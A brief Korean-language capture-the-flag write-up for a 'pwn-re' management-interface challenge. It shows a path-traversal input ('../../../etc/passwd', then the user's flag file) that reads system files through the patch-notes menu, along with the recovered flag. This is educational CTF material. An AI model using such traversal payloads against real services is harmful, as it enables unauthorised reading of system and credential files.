### ADMIN UI (pwn-re)
> nc mngmnt-iface.ctfcompetition.com 1337
```=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit```1번 메뉴를 선택하면 패스워드를 입력해야 한다.
2번 메뉴를 선택하면 patchnotes 를 읽을 수 있는데 예를 들어서 "Version0.3" 을 입력하면 "Version0.3" 파일을 읽어서 출력해준다.이를 이용해서 `"../../../etc/passwd"` 를 입력하면 사용자 정보를 확인할 수 있다.```The following patchnotes were found: - Version0.3 - Version0.2Which patchnotes should be shown?../../../etc/passwd(생략)user:x:1337:1337::/home/user:```
user 라는 사용자명을 확인했으면 user의 홈 디렉토리에서 플래그를 읽는다.```=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit2The following patchnotes were found: - Version0.3 - Version0.2Which patchnotes should be shown?../../../home/user/flagCTF{I_luv_buggy_sOFtware}```
**CTF{I_luv_buggy_sOFtware}**